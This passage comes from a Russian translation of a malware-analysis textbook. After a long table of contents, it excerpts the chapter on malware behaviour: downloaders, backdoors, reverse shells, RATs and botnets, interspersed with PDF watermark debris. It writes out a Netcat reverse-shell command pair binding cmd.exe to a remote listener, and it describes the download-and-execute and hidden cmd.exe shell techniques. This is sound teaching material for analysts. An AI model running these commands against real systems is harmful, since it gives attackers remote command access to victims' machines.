- •Внимание!
- •Об авторах
- •О техническом редакторе
- •О соавторах
- •Предисловие
- •Благодарности
- •Отдельное спасибо
- •Введение
- •Необходимая квалификация
- •Изучение на примерах
- •Структура книги
- •Глава 0. Анализ вредоносных программ для начинающих
- •Цель анализа вредоносных программ
- •Методики анализа вредоносного ПО
- •Общие правила анализа вредоносного ПО
- •Глава 1. Основные статические методики
- •Сканирование антивирусом: первый шаг
- •Хеширование: отпечатки пальцев злоумышленника
- •Поиск строк
- •Упакованное и обфусцированное вредоносное ПО
- •Формат переносимых исполняемых файлов
- •Компонуемые библиотеки и функции
- •Статический анализ на практике
- •Заголовки и разделы PE-файла
- •Итоги главы
- •Глава 2. Анализ вредоносных программ в виртуальных машинах
- •Структура виртуальной машины
- •Запуск виртуальной машины для анализа вредоносного ПО
- •Использование виртуальной машины для анализа безопасности
- •Риски при использовании VMware для анализа безопасности
- •Запись/воспроизведение работы компьютера
- •Итоги главы
- •Глава 3. Основы динамического анализа
- •Песочницы: решение на скорую руку
- •Запуск вредоносных программ
- •Мониторинг с помощью Process Monitor
- •Сравнение снимков реестра с помощью Regshot
- •Симуляция сети
- •Перехват пакетов с помощью Wireshark
- •Использование INetSim
- •Применение основных инструментов для динамического анализа
- •Итоги главы
- •Уровни абстракции
- •Архитектура x86
- •Итоги главы
- •Глава 5. IDA Pro
- •Загрузка исполняемого файла
- •Интерфейс IDA Pro
- •Использование перекрестных ссылок
- •Анализ функций
- •Схематическое представление
- •Повышение эффективности дизассемблирования
- •Плагины к IDA Pro
- •Итоги главы
- •Глава 6. Распознавание конструкций языка C в ассемблере
- •Переменные: локальные и глобальные
- •Дизассемблирование арифметических операций
- •Распознавание выражений if
- •Распознавание циклов
- •Соглашения, касающиеся вызова функций
- •Анализ выражений switch
- •Дизассемблирование массивов
- •Распознавание структур
- •Анализ обхода связного списка
- •Итоги главы
- •Глава 7. Анализ вредоносных программ для Windows
- •Windows API
- •Реестр Windows
- •API для работы с сетью
- •Отслеживание запущенной вредоносной программы
- •Сравнение режимов ядра и пользователя
- •Native API
- •Итоги главы
- •Глава 8. Отладка
- •Сравнение отладки на уровне исходного и дизассемблированного кода
- •Отладка на уровне ядра и пользователя
- •Использование отладчика
- •Исключения
- •Управление выполнением с помощью отладчика
- •Изменение хода выполнения программы на практике
- •Итоги главы
- •Глава 9. OllyDbg
- •Загрузка вредоносного ПО
- •Пользовательский интерфейс OllyDbg
- •Карта памяти
- •Просмотр потоков и стеков
- •Выполнение кода
- •Точки останова
- •Трассировка
- •Обработка исключений
- •Редактирование кода
- •Анализ кода командной оболочки
- •Вспомогательные возможности
- •Подключаемые модули
- •Отладка с использованием скриптов
- •Итоги главы
- •Драйверы и код ядра
- •Подготовка к отладке ядра
- •Использование WinDbg
- •Отладочные символы Microsoft
- •Отладка ядра на практике
- •Руткиты
- •Загрузка драйверов
- •Итоги главы
- •Глава 11. Поведение вредоносных программ
- •Программы для загрузки и запуска ПО
- •Бэкдоры
- •Похищение учетных данных
- •Механизм постоянного присутствия
- •Повышение привилегий
- •Заметая следы: руткиты, работающие в пользовательском режиме
- •Итоги главы
- •Глава 12. Скрытый запуск вредоносного ПО
- •Загрузчики
- •Внедрение в процесс
- •Подмена процесса
- •Внедрение перехватчиков
- •Detours
- •Внедрение асинхронных процедур
- •Итоги главы
- •Глава 13. Кодирование данных
- •Простые шифры
- •Распространенные криптографические алгоритмы
- •Нестандартное кодирование
- •Декодирование
- •Итоги главы
- •Глава 14. Сетевые сигнатуры, нацеленные на вредоносное ПО
- •Сетевые контрмеры
- •Безопасное расследование вредоносной деятельности в Интернете
- •Контрмеры, основанные на сетевом трафике
- •Углубленный анализ
- •Сочетание динамических и статических методик анализа
- •Понимание психологии злоумышленника
- •Итоги главы
- •Искажение алгоритмов дизассемблирования
- •Срыв анализа слоя стека
- •Итоги главы
- •Глава 16. Антиотладка
- •Обнаружение отладчика в Windows
- •Распознавание поведения отладчика
- •Искажение работы отладчика
- •Уязвимости отладчиков
- •Итоги главы
- •Глава 17. Методы противодействия виртуальным машинам
- •Признаки присутствия VMware
- •Уязвимые инструкции
- •Изменение настроек
- •Побег из виртуальной машины
- •Итоги главы
- •Глава 18. Упаковщики и распаковка
- •Анатомия упаковщика
- •Распознавание упакованных программ
- •Способы распаковки
- •Автоматизированная распаковка
- •Ручная распаковка
- •Советы и приемы для работы с распространенными упаковщиками
- •Анализ без полной распаковки
- •Итоги главы
- •Глава 19. Анализ кода командной оболочки
- •Загрузка кода командной оболочки для анализа
- •Позиционно-независимый код
- •Определение адреса выполнения
- •Поиск символов вручную
- •Окончательная версия программы Hello World
- •Кодировки кода командной оболочки
- •NOP-цепочки
- •Поиск кода командной оболочки
- •Итоги главы
- •Глава 20. Анализ кода на C++
- •Объектно-ориентированное программирование
- •Обычные и виртуальные функции
- •Создание и уничтожение объектов
- •Итоги главы
- •Какой смысл в 64-битном вредоносном ПО?
- •Особенности архитектуры x64
- •Признаки вредоносного кода на платформе x64
- •Итоги главы
- •Приложения
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|
|||
|
|
X |
|
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
|
||
|
F |
|
|
|
|
|
|
t |
|
||
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
|
o |
|||
|
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
|
w Click |
|
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
11 |
||||
|
|
|
|
|
|
.c |
|
||||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
|
df |
|
|
n |
e |
|
|
||
|
|
|
|
-xcha |
|
|
|
|
|
Поведение вредоносных программ
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-x cha |
|
|
|
|
До сих пор мы уделяли основное внимание анализу вредоносного ПО, лишь поверхностно затрагивая его возможности. Теперь же вы познакомитесь с самыми распространенными характеристиками программного обеспечения, которые делают его вредоносным.
В этой главе мы кратко пройдемся по различным аспектам поведения таких программ. Что-то вам уже знакомо, и мы попытаемся обобщить и углубить эти знания. Не в наших силах рассмотреть здесь все типы зловредного ПО, так как на свет постоянно появляются его новые экземпляры с огромным набором способностей. Но мы можем научить вас, на какие вещи нужно обращать внимание, чтобы распознать вредонос.
Программы для загрузки и запуска ПО
Можно выделить два типа часто встречаемых вредоносов, предназначенных для загрузки и запуска ПО. Загрузчики (не путать с системными загрузчиками) просто загружают из Интернета дополнительный вредоносный код и запускают его на локальном компьютере. Они часто распространяются вместе с эксплойтом. Для загрузки и выполнения дополнительного вредоносного ПО они обычно используют два вызова Windows API, идущие один за другим: URLDownloadtoFileA и WinExec.
Пусковая программа (launcher) представляет собой исполняемый файл, который устанавливает вредоносные приложения для их скрытого выполнения (сразу или через какое-то время). Пусковые программы часто поставляются с ПО, которое они должны запускать. Мы обсудим их в главе 12.
Бэкдоры
Бэкдоры — это программы, которые предоставляют злоумышленнику доступ к компьютеру жертвы. Они являются самым обнаруживаемым типом вредоносного ПО, а их размер и набор возможностей может существенно варьироваться.
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-xcha |
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
Глава 11. Поведение вредоносных программ 259 |
to |
|
|
|
|
|
||||
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-x cha |
|
|
|
|
Код бэкдора обычно самодостаточен и не требует загрузки дополнительных зараженных файлов.
Бэкдоры взаимодействуют по Интернету множеством различных способов, но передача данных, как правило, происходит по протоколу HTTP через порт 80. HTTP составляет большую часть исходящего сетевого трафика, что дает вредоносу отличную возможность остаться незамеченным на фоне остальной информации.
Из главы 14 вы узнаете, как анализировать бэкдоры на уровне пакетов, создавая эффективные сетевые сигнатуры. А пока мы сосредоточимся на высокоуровневом взаимодействии.
Бэкдоры поставляются со стандартным набором функций: возможностью манипулировать ключами реестра, подсчитывать отображаемые окна, создавать каталоги, искать файлы и т. д. Чтобы понять, что именно из этого используется бэкдором, можно проверить, какие функции Windows API он импортирует. В приложении А приводится список распространенных функций с описанием того, что они могут сказать о вредоносной программе.
Обратная командная оболочка
Обратная командная оболочка — это соединение, которое инициирует зараженный компьютер, предоставляя командный доступ злоумышленнику. Это может быть как отдельная вредоносная программа, так и один из компонентов более сложного бэкдора. Находясь в обратной командной оболочке, злоумышленник может выполнять команды так, как будто все это происходит в его локальной системе.
Обратная командная оболочка Netcat
Программа Netcat, которую мы обсуждали в главе 3, может быть использована для создания командной оболочки, если ее запустить на двух компьютерах. Зло умышленники часто используют ее саму, а также дополняют ей другое вредоносное ПО.
Чтобы применить Netcat в таком качестве, удаленная система должна ожидать входящих подключений с помощью следующей команды:
nc -l –p 80
Параметр -l переключает Netcat в режим прослушивания, а параметр -p определяет отслеживаемый порт. Далее компьютер жертвы инициирует исходящее соединение и предоставляет свою командную оболочку:
nc слушатель_ip 80 -e cmd.exe
слушатель_ip 80— это IP-адрес и порт удаленного узла. Параметр -e позволяет указать программу, которая будет запущена при установлении соединения. Ее стандартные
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
w |
|
|
to |
|
|
260 Часть IV • Возможности вредоносного ПО |
||||
w Click |
|
|
|
|
|
|
||||
|
|
|
|
|
o |
m |
||||
|
w |
|
|
|
|
|
|
|
|
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-xcha |
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-x cha |
|
|
|
|
ввод и вывод будут привязаны к сокету (как вы увидите далее, в Windows часто используется cmd.exe).
Обратная командная оболочка Windows
Злоумышленники используют две простые реализации обратной командной оболочки в Windows на основе cmd.exe: базовую и многопоточную.
Базовый метод популярен среди авторов вредоносного ПО, так как его проще реализовать и в целом он работает не хуже многопоточного подхода. Он основан на вызове CreateProcess и изменении структуры STARTUPINFO, которая ему передается. Сначала создается сокет и устанавливается соединение с удаленным сервером. Затем этот сокет привязывается к стандартным потокам (вводу, выводу и потоку ошибок) процесса cmd.exe. CreateProcess запускает cmd.exe в режиме без окна, чтобы скрыть его от жертвы. В главе 7 приводится пример этого приема.
Многопоточная версия обратной командной оболочки Windows подразумевает создание сокета, двух каналов и двух потоков выполнения (поэтому вам следует искать вызовы CreateThread и CreatePipe). Этот метод иногда используется авторами вредоносного ПО в рамках стратегии по изменению или кодированию данных, передающихся по сокету. Функцию CreatePipe можно использовать для привязки к каналу считывающего и записывающего концов, таких как стандартный ввод (stdin) и стандартный вывод (stdout). Функция CreateProcess позволяет привязать стандартные потоки к каналу, а не напрямую к сокету. После ее вызова вредонос создаст два потока выполнения: один для чтения из stdin канала и записи в сокет, а другой — для чтения из сокета и записи в stdout канала. Обычно эти потоки выполнения занимаются кодированием данных, о чем мы поговорим в главе 13. С помощью методов обратного проектирования вы можете исследовать ответвления, в которых потоки декодируют пакеты, полученные в ходе зашифрованной сессии.
Средства удаленного администрирования
Средства удаленного администрирования (remote administration tools, или RAT) используются для управления компьютером или компьютерами по сети. Их часто задействуют в узконаправленных атаках — например, при похищении информации или перемещении от компьютера к компьютеру.
На рис. 11.1 показана сетевая структура RAT. Сервер, запущенный в системе жертвы, снабжен вредоносным кодом. Клиент работает удаленно, так как управляющий модуль находится в распоряжении злоумышленника. Серверы сигнализируют клиенту, который их контролирует, чтобы тот инициировал соединение. Взаимодействие в RAT обычно происходит через стандартные порты, такие как 80 или 443.
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-xcha |
|
|
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
|
|
X |
|
|
|
|
|
|||
|
|
|
- |
|
|
|
|
|
d |
|
||
|
|
|
F |
|
|
|
|
|
|
t |
|
|
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
|
|
r |
||
|
|
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
|
|
||||
|
|
|
|
|
|
|
BUY |
|
|
|||
Глава 11. Поведение вредоносных программ 261 |
to |
|
|
|
|
|
||||||
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|
|
|||||
|
|
w |
|
|
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
|
|
-x cha |
|
|
|
|
||
|
|
|
|
|
|
|
|
|
|
|
|
|
Рис. 11.1. Сетевая структура RAT
ПРИМЕЧАНИЕ
Poison Ivy (www.poisonivy-rat.com)— популярное бесплатное средство удален-
ного администрирования. Его возможности можно изменять спомощью плагинов, выполненных ввиде кода командной оболочки. Poison Ivy также способен быстро создавать образцы вредоносного ПО для тестирования и анализа.
Ботнеты
Ботнет — это набор зараженных сетевых узлов (зомби), управляемых централизованно, обычно с помощью сервера, который называют контроллером ботнета. Цель ботнета состоит в заражении как можно большего числа компьютеров и создании на их основе масштабной сети, которая может быть использована как для распространения другого вредоносного ПО или спама, так и для выполнения DDoS-атак (distributed denial-of-service — распределенный отказ в обслуживании). Если все зомби одновременно начнут атаковать определенный сайт, тот может стать недоступным.
Сравнение RAT и ботнетов
Между ботнетами и удаленными средствами администрирования существует несколько важных различий.
Ботнеты известны тем, что заражают и контролируют миллионы узлов. RAT обычно управляют намного меньшим количеством компьютеров.
Все участники ботнета управляются одновременно. RAT позволяет распределять ресурсы между разными жертвами, поскольку злоумышленник имеет возможность куда более тесного взаимодействия с зараженными системами.
RAT используются в узконаправленных атаках, тогда как ботнеты отличаются своей массовостью.